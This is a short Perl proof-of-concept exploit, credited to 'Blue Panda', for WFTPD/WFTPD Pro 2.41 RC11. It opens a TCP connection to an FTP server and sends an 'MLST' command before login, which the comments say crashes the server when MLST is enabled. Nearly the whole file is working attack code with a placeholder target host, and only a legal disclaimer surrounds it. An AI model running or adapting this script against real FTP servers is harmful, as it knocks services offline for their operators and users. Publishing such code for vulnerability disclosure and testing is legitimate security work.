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- #!/usr/bin/perl
- #
- # WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #3
- # Blue Panda - bluepanda@dwarf.box.sk
- # http://bluepanda.box.sk/
- #
- # ----------------------------------------------------------
- # Disclaimer: this file is intended as proof of concept, and
- # is not intended to be used for illegal purposes. I accept
- # no responsibility for damage incurred by the use of it.
- # ----------------------------------------------------------
- #
- # Sends an MLST command without logging in with USER and PASS first, causing
- # WFTPD to crash. Note: MLST is not enabled by default, and must be for this
- # to work.
- #
-
- use IO::Socket;
-
- $host = "ftp.host.com" ;
- $port = "21";
- $wait = 10;
-
- # Connect to server.
- print "Connecting to $host:$port...";
- $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
- print "done.\n";
-
- print $socket "MLST a\n";
-
- # Wait a while, just to make sure the command arrives.
- print "Waiting...";
- $time = 0;
- while ($time < $wait) {
- sleep(1);
- print ".";
- $time += 1;
- }
-
- # Finished.
- close($socket);
- print "\nConnection closed. Finished.\n"
-